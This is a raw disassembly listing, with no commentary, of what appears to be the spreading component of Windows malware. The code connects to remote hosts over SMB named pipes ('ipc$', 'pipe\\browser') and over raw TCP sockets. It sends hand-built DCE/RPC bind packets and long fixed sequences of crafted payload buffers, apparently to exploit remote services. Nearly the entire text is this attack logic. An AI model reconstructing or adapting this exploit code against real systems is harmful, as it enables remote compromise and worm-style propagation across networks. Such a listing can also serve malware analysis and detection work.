arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_40D48F
test al, al
jz short loc_40D57B
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call near ptr sub_41CAE0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D57B: ; CODE XREF: sub_40D54D+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D54D endp
; =============== S U B R O U T I N E =======================================
sub_40D582 proc near ; CODE XREF: sub_40D3C2+35p
; sub_40D3C2+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D595
call sub_426ECC
loc_40D595: ; CODE XREF: sub_40D582+Cj
mov ecx, edi
call sub_40D6A6
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D5AB
mov ebx, eax
loc_40D5AB: ; CODE XREF: sub_40D582+25j
test ebx, ebx
jbe short loc_40D5E1
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D460
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D48F
test al, al
jz short loc_40D5E1
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D5E1: ; CODE XREF: sub_40D582+2Bj
; sub_40D582+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D582 endp
; =============== S U B R O U T I N E =======================================
sub_40D5E9 proc near ; CODE XREF: sub_40D48F+7Ap
mov eax, offset loc_4276C0
call sub_41D434
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D60F
mov edi, [ebp+8]
loc_40D60F: ; CODE XREF: sub_40D5E9+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D61C
xor eax, eax
loc_40D61C: ; CODE XREF: sub_40D5E9+2Fj
push eax
call sub_41D795
pop ecx
mov [ebp+8], eax
jmp short loc_40D64D
; ---------------------------------------------------------------------------
loc_40D628: ; DATA XREF: .packed:00428FDCo
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D637
xor eax, eax
loc_40D637: ; CODE XREF: sub_40D5E9+4Aj
push eax
call sub_41D795
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D647
retn
; ---------------------------------------------------------------------------
loc_40D647: ; DATA XREF: sub_40D5E9+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D64D: ; CODE XREF: sub_40D5E9+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D66B
cmp eax, edi
jbe short loc_40D65A
mov eax, edi
loc_40D65A: ; CODE XREF: sub_40D5E9+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call near ptr sub_41CAE0
add esp, 0Ch
loc_40D66B: ; CODE XREF: sub_40D5E9+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D515
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D68B
mov edi, ebx
loc_40D68B: ; CODE XREF: sub_40D5E9+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D5E9 endp
; =============== S U B R O U T I N E =======================================
sub_40D6A6 proc near ; CODE XREF: sub_40D582+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D6D3
mov al, [esi-1]
test al, al
jz short loc_40D6D3
cmp al, 0FFh
jz short loc_40D6D3
push 1
call sub_40D515
push esi
call sub_41B7B0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D54D
loc_40D6D3: ; CODE XREF: sub_40D6A6+9j
; sub_40D6A6+10j ...
pop edi
pop esi
retn
sub_40D6A6 endp
; =============== S U B R O U T I N E =======================================
sub_40D6D6 proc near ; DATA XREF: .packed:0042A00Co
test byte_4DE34C, 1
jnz short loc_40D6E6
or byte_4DE34C, 1
loc_40D6E6: ; CODE XREF: sub_40D6D6+7j
jmp $+5
push offset nullsub_1
call sub_41D810
pop ecx
retn
sub_40D6D6 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, 8Bh
sub esp, 0BCh
lea esi, [ebp+8]
mov [ebp+0A8h], ebx
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DDC4
push 2Fh
lea esi, [ebp+8]
pop ecx
mov [ebp+0A8h], ebx
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_40E2B0
push 2Fh
lea esi, [ebp+8]
pop ecx
mov [ebp+0A8h], ebx
mov edi, esp
mov [ebp-8], eax
rep movsd
call sub_40E6CD
add esp, 0BCh
cmp dword ptr [ebp-4], 0
jnz short loc_40D766
cmp dword ptr [ebp-8], 0
jnz short loc_40D766
test eax, eax
jz short loc_40D769
loc_40D766: ; CODE XREF: .packed:0040D75Aj
; .packed:0040D760j
xor eax, eax
inc eax
loc_40D769: ; CODE XREF: .packed:0040D764j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D76E proc near ; DATA XREF: .packed:0042A010o
jmp $+5
sub_40D76E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D773 proc near
mov eax, dword_4339A8
add eax, 6
mov dword_4D0970, eax
retn
sub_40D773 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D781 proc near ; CODE XREF: sub_40D781+D0p
; sub_40D86F+484p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D795
or [ebp+arg_7], 1
jmp short loc_40D799
; ---------------------------------------------------------------------------
loc_40D795: ; CODE XREF: sub_40D781+Cj
and [ebp+arg_7], 0FEh
loc_40D799: ; CODE XREF: sub_40D781+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D7BD
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D7CF
; ---------------------------------------------------------------------------
loc_40D7BD: ; CODE XREF: sub_40D781+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D7CF: ; CODE XREF: sub_40D781+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41BCA5
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D868
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call near ptr sub_41CAE0
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call dword_4280E0 ; WriteFile
test eax, eax
jz short loc_40D85F
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D85F
push [ebp+arg_20]
call sub_41B881
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D85B
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D781
add esp, 2Ch
jmp short loc_40D86A
; ---------------------------------------------------------------------------
loc_40D85B: ; CODE XREF: sub_40D781+B3j
mov al, 1
jmp short loc_40D86A
; ---------------------------------------------------------------------------
loc_40D85F: ; CODE XREF: sub_40D781+9Cj
; sub_40D781+A4j
push [ebp+arg_20]
call sub_41B881
pop ecx
loc_40D868: ; CODE XREF: sub_40D781+61j
xor al, al
loc_40D86A: ; CODE XREF: sub_40D781+D8j
; sub_40D781+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D781 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D86F proc near ; CODE XREF: sub_40DDC4+15p
; sub_40DDC4+3Cp
var_60E0 = byte ptr -60E0h
var_40E0 = byte ptr -40E0h
var_20E0 = byte ptr -20E0h
var_E0 = byte ptr -0E0h
var_CC = dword ptr -0CCh
var_C0 = byte ptr -0C0h
var_BC = byte ptr -0BCh
var_BB = byte ptr -0BBh
var_BA = byte ptr -0BAh
var_B9 = byte ptr -0B9h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
var_B2 = word ptr -0B2h
var_B0 = dword ptr -0B0h
var_AC = word ptr -0ACh
var_AA = word ptr -0AAh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = word ptr -0A0h
var_9E = byte ptr -9Eh
var_9C = byte ptr -9Ch
var_8C = dword ptr -8Ch
var_88 = byte ptr -88h
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = qword ptr -68h
var_60 = byte ptr -60h
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A8 = dword ptr 0B0h
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
mov eax, 60E0h
call sub_41C2F0
push ebx
push esi
push edi
lea eax, [ebp+arg_4]
push offset a_ ; "."
push eax
call sub_41D930
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
mov esi, 2000h
jz short loc_40D8E3
lea eax, [ebp+arg_4]
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp+var_20E0]
push esi
push eax
call sub_41C150
push 20h
lea eax, [ebp+var_E0]
push ebx
push eax
call sub_41BD60
lea eax, [ebp+var_20E0]
add esp, 1Ch
mov [ebp+var_CC], eax
mov eax, offset byte_43FE14
push ebx
push eax
push eax
lea eax, [ebp+var_E0]
push eax
call dword_4CDD0C
loc_40D8E3: ; CODE XREF: sub_40D86F+29j
lea eax, [ebp+arg_4]
push eax
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
lea eax, [ebp+var_40E0]
push esi
push eax
call sub_41C150
add esp, 10h
lea eax, [ebp+var_40E0]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call dword_4280EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov dword ptr [ebp+var_C+4], eax
jnz short loc_40D928
loc_40D921: ; CODE XREF: sub_40D86F+266j
; sub_40D86F+371j ...
xor eax, eax
jmp loc_40DDBF
; ---------------------------------------------------------------------------
loc_40D928: ; CODE XREF: sub_40D86F+B0j
push 48h
lea eax, [ebp+var_BC]
push ebx
push eax
call sub_41BD60
push 10h
xor edi, edi
pop eax
inc edi
mov [ebp+var_B8], eax
push eax
lea eax, [ebp+var_9C]
push offset dword_4339FC
push eax
mov [ebp+var_BC], 5
mov [ebp+var_BB], bl
mov [ebp+var_BA], 0Bh
mov [ebp+var_B9], 3
mov [ebp+var_B4], 48h
mov [ebp+var_B2], bx
mov [ebp+var_B0], ebx
mov [ebp+var_AC], 10B8h
mov [ebp+var_AA], 10B8h
mov [ebp+var_A8], ebx
mov [ebp+var_A4], edi
mov [ebp+var_A0], bx
mov [ebp+var_9E], 1
call near ptr sub_41CAE0
push 10h
lea eax, [ebp+var_88]
push offset dword_4339E8
push eax
mov [ebp+var_8C], 3
call near ptr sub_41CAE0
add esp, 24h
lea eax, [ebp+var_C0]
mov [ebp+var_78], 2
push ebx
push eax
lea eax, [ebp+var_BC]
push 48h
push eax
push dword ptr [ebp+var_C+4]
call dword_4280E0 ; WriteFile
test eax, eax
jz loc_40DACC
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_60E0]
push esi
push eax
push dword ptr [ebp+var_C+4]
call dword_4280E8 ; ReadFile
push ebx
call sub_41D851
push eax
call sub_41C0A8
push 14h
lea eax, [ebp+var_74]
push 41h
push eax
call sub_41BD60
push 1Ch
lea eax, [ebp+var_34]
push 41h
push eax
call sub_41BD60
add esp, 20h
call sub_41C0B2
mov esi, [ebp+arg_BC]
mov [ebp+var_74], eax
mov dword ptr [ebp+var_68], edi
mov [ebp+var_6C], ebx
lea esi, [esi+esi*4]
mov [ebp+var_70], edi
shl esi, 2
mov word ptr [ebp+var_68+4], bx
mov [ebp+var_2C], ebx
cmp byte_433990[esi], bl
jz short loc_40DA75
push 4
mov [ebp+var_28], edi
mov [ebp+var_30], edi
push offset dword_4D0974
jmp short loc_40DA85
; ---------------------------------------------------------------------------
loc_40DA75: ; CODE XREF: sub_40D86F+1F5j
push 2
pop eax
push 4
mov [ebp+var_28], eax
mov [ebp+var_30], eax
push (offset loc_4339DF+1)
loc_40DA85: ; CODE XREF: sub_40D86F+204j
lea eax, [ebp+var_24]
push eax
call near ptr sub_41CAE0
add esp, 0Ch
call sub_41C0B2
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_34], edx
call sub_41C0B2
cdq
idiv edi
mov eax, dword_433984[esi]
mov [ebp+var_1C], ebx
push eax
mov [ebp+arg_BC], eax
inc edx
mov [ebp+var_20], edx
call sub_41BCA5
mov edi, eax
pop ecx
cmp edi, ebx
jnz short loc_40DADA
loc_40DACC: ; CODE XREF: sub_40D86F+186j
push dword ptr [ebp+var_C+4]
call dword_42806C ; CloseHandle
jmp loc_40D921
; ---------------------------------------------------------------------------
loc_40DADA: ; CODE XREF: sub_40D86F+25Bj
mov eax, [ebp+arg_BC]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41BD60
mov eax, [ebp+arg_BC]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41BD60
mov eax, dword_43398C[esi]
push 7
add eax, edi
push offset dword_433978
push eax
mov [ebp+var_4], eax
call near ptr sub_41CAE0
mov eax, [ebp+var_4]
push 15Ch
add eax, 7
push offset dword_433818
push eax
call near ptr sub_41CAE0
mov eax, dword_433988[esi]
add esp, 30h
mov [ebp+var_4], eax
add eax, edi
cmp byte_433990[esi], bl
jz short loc_40DB91
push 4
push offset dword_4D0970
push eax
call near ptr sub_41CAE0
add [ebp+var_4], 0Ch
mov esi, offset dword_4339A8
mov eax, [ebp+var_4]
push 4
add eax, edi
push esi
push eax
call near ptr sub_41CAE0
mov eax, [ebp+var_4]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+var_4], eax
call near ptr sub_41CAE0
mov eax, [ebp+var_4]
push 4
add eax, 0Ch
push esi
push eax
call near ptr sub_41CAE0
add esp, 30h
jmp short loc_40DBB7
; ---------------------------------------------------------------------------
loc_40DB91: ; CODE XREF: sub_40D86F+2D5j
mov [ebp+var_4], eax
mov dword ptr [ebp+var_C], 10h
mov esi, offset dword_4339A8
loc_40DBA0: ; CODE XREF: sub_40D86F+346j
push 4
push esi
push [ebp+var_4]
call near ptr sub_41CAE0
add [ebp+var_4], 4
add esp, 0Ch
dec dword ptr [ebp+var_C]
jnz short loc_40DBA0
loc_40DBB7: ; CODE XREF: sub_40D86F+320j
mov eax, [ebp+arg_BC]
add eax, 42h
push eax
call sub_41BCA5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword ptr [ebp+var_C], esi
jnz short loc_40DBE5
push dword ptr [ebp+var_C+4]
call dword_42806C ; CloseHandle
push edi
call sub_41B881
pop ecx
jmp loc_40D921
; ---------------------------------------------------------------------------
loc_40DBE5: ; CODE XREF: sub_40D86F+35Fj
mov eax, [ebp+arg_BC]
add eax, 42h
push eax
push ebx ; double
push esi
call sub_41BD60
lea eax, [ebp+var_74]
push 14h
push eax
push esi
call near ptr sub_41CAE0
mov eax, [ebp+arg_BC]
mov dword ptr [ebp+var_14+4], ebx
mov dword ptr [ebp+var_14], eax
add esp, 10h
fild [ebp+var_14]
fmul flt_4286AC
fstp [esp+0Ch+var_C]
call sub_41CF8F
call sub_41CF68
push [ebp+arg_BC]
mov [esi+1Ch], eax
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
mov [esi+18h], ebx
call near ptr sub_41CAE0
mov eax, [ebp+arg_BC]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+var_4], eax
jz short loc_40DC5B
loc_40DC53: ; CODE XREF: sub_40D86F+3E7j
inc eax
test al, 3
jnz short loc_40DC53
mov [ebp+var_4], eax
loc_40DC5B: ; CODE XREF: sub_40D86F+3E2j
lea ecx, [ebp+var_34]
push 1Ch
add eax, esi
push ecx
push eax
call near ptr sub_41CAE0
add [ebp+var_4], 1Ch
push edi
call sub_41B881
push 18h
lea eax, [ebp+var_4C]
push ebx
push eax
call sub_41BD60
push 14h
lea eax, [ebp+var_60]
push ebx
push eax
mov [ebp+var_4C], 5
mov [ebp+var_4B], bl
mov [ebp+var_4A], bl
mov [ebp+var_49], 3
mov [ebp+var_48], 10h
mov [ebp+var_42], bx
mov [ebp+var_40], ebx
mov [ebp+var_38], bx
mov [ebp+var_36], 1Fh
call sub_41BD60
add esp, 28h
push ebx
push ebx
push 1
push ebx
call dword_4280E4 ; CreateEventA
mov [ebp+var_50], eax
mov byte ptr [ebp+arg_BC+3], bl
mov dword ptr [ebp+var_14+4], ebx
loc_40DCCB: ; CODE XREF: sub_40D86F+51Ej
cmp dword ptr [ebp+var_14+4], 2
jge loc_40DD98
push 1
push 10B8h
push [ebp+var_4]
inc dword ptr [ebp+var_14+4]
push esi
lea esi, [ebp+var_4C]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp+var_C+4]
rep movsd
call sub_40D781
add esp, 2Ch
test al, al
jz loc_40DD95
cmp [ebp+var_50], ebx
jz short loc_40DD84
lea eax, [ebp+var_60]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_60E0]
push 2000h
push eax
push dword ptr [ebp+var_C+4]
call dword_4280E8 ; ReadFile
test eax, eax
jnz short loc_40DD3A
call dword_42808C ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40D921
loc_40DD3A: ; CODE XREF: sub_40D86F+4B8j
push 3E8h
push [ebp+var_50]
call dword_4280A0 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40DD84
push 65h
lea esi, [ebp+arg_0]
sub esp, 0BCh
mov byte ptr [ebp+arg_BC+3], 1
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_418C7F
mov eax, [ebp+arg_A8]
add esp, 0C0h
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
loc_40DD84: ; CODE XREF: sub_40D86F+497j
; sub_40D86F+4DEj
cmp byte ptr [ebp+arg_BC+3], bl
mov esi, dword ptr [ebp+var_C]
jz loc_40DCCB
jmp short loc_40DD98
; ---------------------------------------------------------------------------
loc_40DD95: ; CODE XREF: sub_40D86F+48Ej
mov esi, dword ptr [ebp+var_C]
loc_40DD98: ; CODE XREF: sub_40D86F+460j
; sub_40D86F+524j
push dword ptr [ebp+var_C+4]
mov edi, dword_42806C
call edi ; CloseHandle
push esi
call sub_41B881
cmp [ebp+var_50], ebx
pop ecx
jz short loc_40DDB4
push [ebp+var_50]
call edi ; CloseHandle
loc_40DDB4: ; CODE XREF: sub_40D86F+53Ej
xor eax, eax
cmp byte ptr [ebp+arg_BC+3], bl
setnz al
loc_40DDBF: ; CODE XREF: sub_40D86F+B4j
pop edi
pop esi
pop ebx
leave
retn
sub_40D86F endp
; =============== S U B R O U T I N E =======================================
sub_40DDC4 proc near ; CODE XREF: .packed:0040D71Bp
arg_0 = byte ptr 4
push esi
push edi
push 0
lea esi, [esp+0Ch+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40D86F
add esp, 0C0h
test eax, eax
jz short loc_40DDED
xor eax, eax
inc eax
jmp short loc_40DE11
; ---------------------------------------------------------------------------
loc_40DDED: ; CODE XREF: sub_40DDC4+22j
push 1
lea esi, [esp+0Ch+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40D86F
add esp, 0C0h
neg eax
sbb eax, eax
neg eax
loc_40DE11: ; CODE XREF: sub_40DDC4+27j
pop edi
pop esi
retn
sub_40DDC4 endp
; =============== S U B R O U T I N E =======================================
sub_40DE14 proc near ; CODE XREF: sub_40E2B0+35p
var_230 = byte ptr -230h
var_210 = byte ptr -210h
var_1F0 = byte ptr -1F0h
var_1D0 = byte ptr -1D0h
var_1B0 = byte ptr -1B0h
var_190 = byte ptr -190h
var_170 = byte ptr -170h
var_150 = byte ptr -150h
var_130 = byte ptr -130h
var_110 = byte ptr -110h
var_F0 = byte ptr -0F0h
var_D0 = byte ptr -0D0h
var_B0 = byte ptr -0B0h
var_90 = byte ptr -90h
var_70 = byte ptr -70h
var_50 = byte ptr -50h
var_30 = byte ptr -30h
var_20 = dword ptr -20h
var_10 = byte ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
arg_136F8 = byte ptr 136FCh
arg_13720 = dword ptr 13724h
arg_13864 = byte ptr 13868h
arg_1388C = byte ptr 13890h
arg_13924 = dword ptr 13928h
mov eax, 13894h
call sub_41C2F0
push ebx
push ebp
push esi
push edi
xor edi, edi
push edi
push 1
push 2
call dword_428220 ; socket
mov esi, eax
lea eax, [esp+1Ch+arg_1388C]
push eax
mov word ptr [esp+20h+var_8], 2
call dword_428234 ; inet_addr
push [esp+20h+arg_13924]
mov [esp+24h+var_8], eax
call dword_42820C ; ntohs
mov [esp+24h+var_E], ax
lea eax, [esp+24h+var_10]
push 10h
push eax
push esi
call dword_428210 ; connect
test eax, eax
jge short loc_40DE75
loc_40DE6E: ; CODE XREF: sub_40DE14+275j
xor eax, eax
jmp loc_40E2A5
; ---------------------------------------------------------------------------
loc_40DE75: ; CODE XREF: sub_40DE14+58j
lea eax, [esp+30h+var_20]
push 4
push eax
push 1006h
push 0FFFFh
push esi
mov [esp+44h+var_20], 1388h
call dword_428214 ; setsockopt
lea eax, [esp+44h+arg_13864]
push 1
push eax
call sub_418466
pop ecx
cmp eax, 2
pop ecx
jz loc_40E08E
cmp eax, 1
jz loc_40E08E
mov ebx, dword_428224
push edi
push 48h
push offset aB ; ""
push esi
call ebx ; send
mov ebp, dword_428218
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_433A80
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_433AE0
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_433B98
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_433C90
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_433CD0
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_433D38
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_433DD0
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_433F30
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434090
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_4341F0
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40E269
cmp eax, 0FFFFFFFFh
jz loc_40E269
push 0
push 15Bh
push offset dword_433DD0
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_433F30
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434090
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_4341F0
push esi
call ebx ; send
push 1387Fh
lea eax, [esp+218h+var_1F0]
push 0
push eax
call sub_41BD60
add esp, 0Ch
loc_40E055: ; CODE XREF: sub_40DE14+450j
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40E269
cmp eax, 0FFFFFFFFh
jz loc_40E269
cmp [esp+224h+arg_13720], 8Bh
push esi
jnz loc_40E26A
call dword_42821C ; closesocket
jmp loc_40DE6E
; ---------------------------------------------------------------------------
loc_40E08E: ; CODE XREF: sub_40DE14+95j
; sub_40DE14+9Ej
mov ebx, dword_428224
push edi
push 48h
push offset unk_434260
push esi
call ebx ; send
mov ebp, dword_428218
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_4342B0
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_434310
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_4343C8
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 66h
push offset dword_4344C0
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_434528
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_434568
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_4345D0
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434668
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_4347C8
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434928
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434A88
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_434BE8
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40E269
cmp eax, 0FFFFFFFFh
jz short loc_40E269
push 0
push 15Bh
push offset dword_434668
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_4347C8
push esi
call ebx ; send
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434928
push esi
call ebx ; send
push 0
lea eax, [esp+238h+var_210]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434A88
push esi
call ebx ; send
push 0
lea eax, [esp+258h+var_230]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_434BE8
push esi
call ebx ; send
jmp loc_40E055
; ---------------------------------------------------------------------------
loc_40E269: ; CODE XREF: sub_40DE14+1C4j
; sub_40DE14+1CDj ...
push esi
loc_40E26A: ; CODE XREF: sub_40DE14+269j
call dword_42821C ; closesocket
push 7D0h
call dword_428064 ; Sleep
push 0BEEFh
lea esi, [esp+1B0h+arg_136F8]
sub esp, 0BCh
